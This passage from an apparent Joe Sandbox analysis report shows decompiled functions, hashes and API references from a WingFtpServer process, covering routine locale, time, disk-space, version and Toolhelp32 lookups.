Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CreateManagerOpenService
String ID:
API String ID: 2847155433-0
Opcode ID: 27b20fc004f7adb82a5ef17ea397ecc9b3aeab86afd4051c83d0798f7ce4eb4b
Instruction ID: fa93d1837f57cd26f665c7899aa9db3d1726527e39a62887ef81efcfe85a8114
Opcode Fuzzy Hash: 27b20fc004f7adb82a5ef17ea397ecc9b3aeab86afd4051c83d0798f7ce4eb4b
Instruction Fuzzy Hash: CC01B1343447587EEB31EA65CDA2F7A369CEB05B54F4044BABA048F281D7E19900D150

Uniqueness

Uniqueness Score: -1.00%

Function 03AC1A8C Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC1A8C(WCHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				WCHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t46;
				intOrPtr _t48;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceW(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t46 = _v24;
				_t31 = E03AAB9D8(_v28, _t46, _v16, 0);
				_t37 = _a8;
				 *_t37 = _t31;
				 *((intOrPtr*)(_t37 + 4)) = _t46;
				_t48 = _v24;
				_t34 = E03AAB9D8(_v28, _t48, _v20, 0);
				_t38 = _a12;
				 *_t38 = _t34;
				 *((intOrPtr*)(_t38 + 4)) = _t48;
				return _t26;
			}

0x03ac1a93
0x03ac1a98
0x03ac1a9a
0x03ac1a9a
0x03ac1aad
0x03ac1abc
0x03ac1abf
0x03ac1acc
0x03ac1acf
0x03ac1ad4
0x03ac1ad7
0x03ac1ad9
0x03ac1ae6
0x03ac1ae9
0x03ac1aee
0x03ac1af1
0x03ac1af3
0x03ac1afc

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 03AC1AAD

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 4d8a231a1b0a35ada5d110049613a4ef5684ce43ac64f28b3d71d46a3984b020
Instruction ID: 0c550ecf703a779532d681fb37a0b8919adc1d1a4158a41b0f954600e42cef94
Opcode Fuzzy Hash: 4d8a231a1b0a35ada5d110049613a4ef5684ce43ac64f28b3d71d46a3984b020
Instruction Fuzzy Hash: E01112B5E00209AFDB00CF99C980DEFF7F9EFC8200B14C55AA504EB354E7319A018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 03AC5770 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC5770(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				short _v516;
				void* __ebp;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoW(__eax, __edx,  &_v516, 0x100);
				_t19 = _t5;
				if(_t5 <= 0) {
					return E03AA9FFC(_t10, _t18);
				}
				return E03AA9DA4(_t10, _t5 - 1,  &_v516, _t19);
			}

0x03ac577b
0x03ac577d
0x03ac578e
0x03ac5793
0x03ac5795
0x00000000
0x03ac57ad
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 03AC578E

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 641e8bd2acaab8f9e22919a6daffd8ea871d01c6b1355c71d316d619ffbd55fc
Instruction ID: 621adfdd179f9d40e7519bd6a4cf758417613f380adc5fd4626bb377db58771d
Opcode Fuzzy Hash: 641e8bd2acaab8f9e22919a6daffd8ea871d01c6b1355c71d316d619ffbd55fc
Instruction Fuzzy Hash: E5E0D836B1031857D714E55D9DC4AFB726C9B49200F00456FB905CB352EF61AD9083E4

Uniqueness

Uniqueness Score: -1.00%

Function 03AC9A54 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E03AC9A54(void* __edx) {
				intOrPtr _t2;
				intOrPtr _t7;
				void* _t11;
				intOrPtr _t13;
				void* _t14;
				void* _t15;

				_t11 = __edx;
				if(__edx != 0) {
					_t15 = _t15 + 0xfffffff0;
					_t2 = E03AA832C(_t2, _t14);
				}
				_t13 = _t2;
				E03AA7C40(0);
				 *((intOrPtr*)(E03AB04B0() + 0x10)) = _t13;
				EnumSystemLocalesW(E03AC982C, 2);
				_t7 = _t13;
				if(_t11 != 0) {
					E03AA8384(_t7);
					_pop( *[fs:0x0]);
				}
				return _t13;
			}

0x03ac9a54
0x03ac9a58
0x03ac9a5a
0x03ac9a5d
0x03ac9a5d
0x03ac9a64
0x03ac9a6a
0x03ac9a74
0x03ac9a81
0x03ac9a86
0x03ac9a8a
0x03ac9a8c
0x03ac9a91
0x03ac9a98
0x03ac9a9f

APIs

EnumSystemLocalesW.KERNEL32(03AC982C,00000002,?,?,03AC9DBD,03AC5C3A,?,00000000,03AC5C7B,?,?,?,00000000,00000000), ref: 03AC9A81

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bbe9b779cafa6830073add8cdb16842d9f78abcdd241c0a1f20d49ed683890e5
Instruction ID: a069cd299da2e9db5800812d84f2fafb47bc73d63f0ccc23fa597a94d761709d
Opcode Fuzzy Hash: bbe9b779cafa6830073add8cdb16842d9f78abcdd241c0a1f20d49ed683890e5
Instruction Fuzzy Hash: CEE0266B740B6057C220F7BC1E41B9B79486F40AE1F0C427BE958CF356EB5A480102E2

Uniqueness

Uniqueness Score: -1.00%

Function 03AC57BC Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E03AC57BC(int __eax, signed int __ecx, int __edx) {
				short _v16;
				signed int _t5;
				signed int _t10;

				_push(__ecx);
				_t10 = __ecx;
				if(GetLocaleInfoW(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t10;
				} else {
					_t5 = _v16 & 0x0000ffff;
				}
				return _t5;
			}

0x03ac57bf
0x03ac57c0
0x03ac57d6
0x03ac57de
0x03ac57d8
0x03ac57d8
0x03ac57d8
0x03ac57e4

APIs

GetLocaleInfoW.KERNEL32(?,0000000F,?,00000002,0000002C,?,?,?,03AC58BE,?,00000001,00000000,03AC5ACD), ref: 03AC57CF

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 25fc4d03bd949ec20625e873c3f046b4167cdf7abd19845558ab449262b0b4b0
Instruction ID: c260aea311e76752a77ebfcda51908abc0f1e87eb71cd758e55de81c3a34a2ec
Opcode Fuzzy Hash: 25fc4d03bd949ec20625e873c3f046b4167cdf7abd19845558ab449262b0b4b0
Instruction Fuzzy Hash: ADD0A7AA3193647AE224D25B6D44DB756EDCBC67B1F14483FBA4CCA201E250CC45C3B0

Uniqueness

Uniqueness Score: -1.00%

Function 03AC3AA0 Relevance: 1.5, APIs: 1, Instructions: 22
timeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E03AC3AA0(long long __fp0) {
				long long _v8;
				struct _SYSTEMTIME _v24;
				void* _t16;
				long long* _t21;
				void* _t22;
				long long _t23;

				_t23 = __fp0;
				GetLocalTime( &_v24);
				E03AC38DC(_v24.wYear & 0x0000ffff, _v24.wDay & 0x0000ffff, _v24.wMonth & 0x0000ffff, _t22, __fp0);
				_v8 = _t23;
				asm("wait");
				_t16 = E03AC3738(_v24.wHour & 0x0000ffff, _v24.wSecond & 0x0000ffff, _v24.wMinute & 0x0000ffff, _t22, _t23, _v24.wMilliseconds & 0x0000ffff);
				 *_t21 = _t23 + _v24.wSecond;
				asm("wait");
				return _t16;
			}

0x03ac3aa0
0x03ac3aa8
0x03ac3abc
0x03ac3ac1
0x03ac3ac5
0x03ac3adb
0x03ac3ae4
0x03ac3ae7
0x03ac3aee

APIs

GetLocalTime.KERNEL32(?), ref: 03AC3AA8

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 695b59b07bf36285b79b48761728cfd50cd60a03eebf0123057a166caa4fe613
Instruction ID: a5eb274a92824edc87a43fca52b8345e00c3c49f5a09e778c40a8012f1a418b3
Opcode Fuzzy Hash: 695b59b07bf36285b79b48761728cfd50cd60a03eebf0123057a166caa4fe613
Instruction Fuzzy Hash: 6AE0A564408662A1C244EF56C94043EB7E5BEC5A42F408C4EF8D4442E1EA38C4A8E367

Uniqueness

Uniqueness Score: -1.00%

Function 03AC7C84 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC7C84() {
				char _v256;
				intOrPtr _v260;
				intOrPtr _t3;
				intOrPtr _t4;
				intOrPtr _t5;
				int _t6;
				struct _OSVERSIONINFOW* _t11;

				_t3 =  *0x3bd6808; // 0xa
				 *0x3bd6950 = _t3;
				_t4 =  *0x3bd680c; // 0x0
				 *0x3bd6954 = _t4;
				_t5 =  *0x3bd6804; // 0x42ee
				 *0x3bd6958 = _t5;
				_t11->dwOSVersionInfoSize = 0x114;
				_t6 = GetVersionExW(_t11);
				if(_t6 != 0) {
					 *0x3bd694c = _v260;
					_t6 = E03AAA99C(0x3bd695c, 0x80,  &_v256);
				}
				 *0x3bd06d8 = 1;
				return _t6;
			}

0x03ac7c8a
0x03ac7c8f
0x03ac7c94
0x03ac7c99
0x03ac7c9e
0x03ac7ca3
0x03ac7ca8
0x03ac7cb0
0x03ac7cb7
0x03ac7cbd
0x03ac7cd0
0x03ac7cd0
0x03ac7cd5
0x03ac7ce2

APIs

GetVersionExW.KERNEL32(?,03AC7D10,00000000,03AC7D28,?,?,03AC7D42,03BACA5C,?,00000000,00000000,00000000,?,?,00000000,?), ref: 03AC7CB0

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: f33cb8d630889bfe69d5fe1ad124468240044efa437b9f26a0210438ef360762
Instruction ID: adcb051cbfee878459986fc83a43e2d8fd3399e60de5806d3a7fea7dd347a31a
Opcode Fuzzy Hash: f33cb8d630889bfe69d5fe1ad124468240044efa437b9f26a0210438ef360762
Instruction Fuzzy Hash: 24F030B49073418FC384EF28E755750BBE0E748308FC4082AD885C7748F77A9864CB62

Uniqueness

Uniqueness Score: -1.00%

Function 03AC9848 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC9848(int __eax, void* __ecx, int __edx) {
				short _v2052;
				void* _t6;
				void* _t12;

				_t6 = __ecx;
				_v2052 = 0;
				GetLocaleInfoW(__eax, __edx,  &_v2052, 0x400);
				return E03AAA99C(_t6, 0x400, _t12);
			}

0x03ac984f
0x03ac9851
0x03ac9863
0x03ac987d

APIs

GetLocaleInfoW.KERNEL32(00000000,00000003,?,00000400,?,03AC98ED,?,00000000,03AC9A1C,?,?,?,?,00000000,00000000), ref: 03AC9863

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 658d5b0c8f2c77005d194bc675af7b6ed774b10bf61b56a75767fd631bf2e344
Instruction ID: 5dd918449bc8eccc293be0283b8cb26b3034b43d20ac40935b115f94e1c6113a
Opcode Fuzzy Hash: 658d5b0c8f2c77005d194bc675af7b6ed774b10bf61b56a75767fd631bf2e344
Instruction Fuzzy Hash: CAD0A7E1B2430027E20492988C41B67339C9B84700F10452DB784CB3C0FE7D580992AF

Uniqueness

Uniqueness Score: -1.00%

Function 03AD01B0 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E03AD01B0() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleW(L"oleaut32.dll");
				 *0x3bd895c = E03AD0184("VariantChangeTypeEx", E03ACFBA0, _t91);
				 *0x3bd8960 = E03AD0184("VarNeg", E03ACFBE8, _t91);
				 *0x3bd8964 = E03AD0184("VarNot", E03ACFBE8, _t91);
				 *0x3bd8968 = E03AD0184("VarAdd", E03ACFBF4, _t91);
				 *0x3bd896c = E03AD0184("VarSub", E03ACFBF4, _t91);
				 *0x3bd8970 = E03AD0184("VarMul", E03ACFBF4, _t91);
				 *0x3bd8974 = E03AD0184("VarDiv", E03ACFBF4, _t91);
				 *0x3bd8978 = E03AD0184("VarIdiv", E03ACFBF4, _t91);
				 *0x3bd897c = E03AD0184("VarMod", E03ACFBF4, _t91);
				 *0x3bd8980 = E03AD0184("VarAnd", E03ACFBF4, _t91);
				 *0x3bd8984 = E03AD0184("VarOr", E03ACFBF4, _t91);
				 *0x3bd8988 = E03AD0184("VarXor", E03ACFBF4, _t91);
				 *0x3bd898c = E03AD0184("VarCmp", E03ACFC00, _t91);
				 *0x3bd8990 = E03AD0184("VarI4FromStr", E03ACFC0C, _t91);
				 *0x3bd8994 = E03AD0184("VarR4FromStr", E03ACFC78, _t91);
				 *0x3bd8998 = E03AD0184("VarR8FromStr", E03ACFCE8, _t91);
				 *0x3bd899c = E03AD0184("VarDateFromStr", E03ACFD58, _t91);
				 *0x3bd89a0 = E03AD0184("VarCyFromStr", E03ACFDC8, _t91);
				 *0x3bd89a4 = E03AD0184("VarBoolFromStr", E03ACFE38, _t91);
				 *0x3bd89a8 = E03AD0184("VarBstrFromCy", E03ACFEB8, _t91);
				 *0x3bd89ac = E03AD0184("VarBstrFromDate", E03ACFF60, _t91);
				_t46 = E03AD0184("VarBstrFromBool", E03AD00F0, _t91);
				 *0x3bd89b0 = _t46;
				return _t46;
			}

0x03ad01be
0x03ad01d2
0x03ad01e8
0x03ad01fe
0x03ad0214
0x03ad022a
0x03ad0240
0x03ad0256
0x03ad026c
0x03ad0282
0x03ad0298
0x03ad02ae
0x03ad02c4
0x03ad02da
0x03ad02f0
0x03ad0306
0x03ad031c
0x03ad0332
0x03ad0348
0x03ad035e
0x03ad0374
0x03ad038a
0x03ad039a
0x03ad03a0
0x03ad03a7

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 03AD01B9

Part of subcall function 03AD0184: GetProcAddress.KERNEL32(00000000), ref: 03AD019D

Strings

VarXor, xrefs: 03AD02B9
VarCmp, xrefs: 03AD02CF
VarBstrFromBool, xrefs: 03AD0395
VarR4FromStr, xrefs: 03AD02FB
VarDiv, xrefs: 03AD024B
oleaut32.dll, xrefs: 03AD01B4
VarOr, xrefs: 03AD02A3
VarAdd, xrefs: 03AD0209
VarBstrFromDate, xrefs: 03AD037F
VarMod, xrefs: 03AD0277
VarMul, xrefs: 03AD0235
VarBoolFromStr, xrefs: 03AD0353
VarNeg, xrefs: 03AD01DD
VarSub, xrefs: 03AD021F
VarNot, xrefs: 03AD01F3
VarAnd, xrefs: 03AD028D
VariantChangeTypeEx, xrefs: 03AD01C7
VarBstrFromCy, xrefs: 03AD0369
VarCyFromStr, xrefs: 03AD033D
VarDateFromStr, xrefs: 03AD0327
VarR8FromStr, xrefs: 03AD0311
VarI4FromStr, xrefs: 03AD02E5
VarIdiv, xrefs: 03AD0261

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: c89030b4ee3481c341bf01c1c9e6fbf6ab71efa7a4a7782efa7dce760459f695
Instruction ID: 979522a6feed8006b98e89d032786b0ed69dc04604e57815e0862a65efc931b2
Opcode Fuzzy Hash: c89030b4ee3481c341bf01c1c9e6fbf6ab71efa7a4a7782efa7dce760459f695
Instruction Fuzzy Hash: 584180A560638C7F5244FB6D761082BB7D9D788206B64511FB447CFB08EF30AD42873A

Uniqueness

Uniqueness Score: -1.00%

Function 03AB2558 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AB2558() {
				void* __ebx;
				void* _t45;

				if( *0x3bd6668 == 0) {
					 *0x3bd6668 = GetModuleHandleW(L"kernel32.dll");
					if( *0x3bd6668 != 0) {
						 *0x3bd666c = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"CreateToolhelp32Snapshot");
						 *0x3bd6670 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Heap32ListFirst");
						 *0x3bd6674 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Heap32ListNext");
						 *0x3bd6678 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Heap32First");
						 *0x3bd667c = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Heap32Next");
						 *0x3bd6680 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Toolhelp32ReadProcessMemory");
						 *0x3bd668c = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32First");
						 *0x3bd6690 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32Next");
						 *0x3bd6694 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32FirstW");
						 *0x3bd6698 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32NextW");
						 *0x3bd6684 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32FirstW");
						 *0x3bd6688 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Process32NextW");
						 *0x3bd669c = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Thread32First");
						 *0x3bd66a0 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Thread32Next");
						 *0x3bd66ac = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32First");
						 *0x3bd66b0 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32Next");
						 *0x3bd66b4 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32FirstW");
						 *0x3bd66b8 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32NextW");
						 *0x3bd66a4 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32FirstW");
						 *0x3bd66a8 = E03AB222C(0x3bd6668, _t45,  *0x3bd6668, L"Module32NextW");
					}
				}
				if( *0x3bd6668 == 0 ||  *0x3bd666c == 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x03ab2561
0x03ab2571
0x03ab2576
0x03ab2589
0x03ab259b
0x03ab25ad
0x03ab25bf
0x03ab25d1
0x03ab25e3
0x03ab25f5
0x03ab2607
0x03ab2619
0x03ab262b
0x03ab263d
0x03ab264f
0x03ab2661
0x03ab2673
0x03ab2685
0x03ab2697
0x03ab26a9
0x03ab26bb
0x03ab26cd
0x03ab26df
0x03ab26df
0x03ab2576
0x03ab26e7
0x03ab26f5
0x03ab26f6
0x03ab26f9
0x03ab26f9

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000002,03AB2927,?,00000000,03BC4E18,00000000,03BC4F44), ref: 03AB256C

Part of subcall function 03AB222C: GetProcAddress.KERNEL32(?,?), ref: 03AB2256

Part of subcall function 03AB222C: GetProcAddress.KERNEL32(?,00000000), ref: 03AB228F

Strings

Heap32First, xrefs: 03AB25B2
Module32FirstW, xrefs: 03AB269C, 03AB26C0
Process32Next, xrefs: 03AB25FA
Heap32ListFirst, xrefs: 03AB258E
Heap32ListNext, xrefs: 03AB25A0
Thread32Next, xrefs: 03AB2666
kernel32.dll, xrefs: 03AB2567
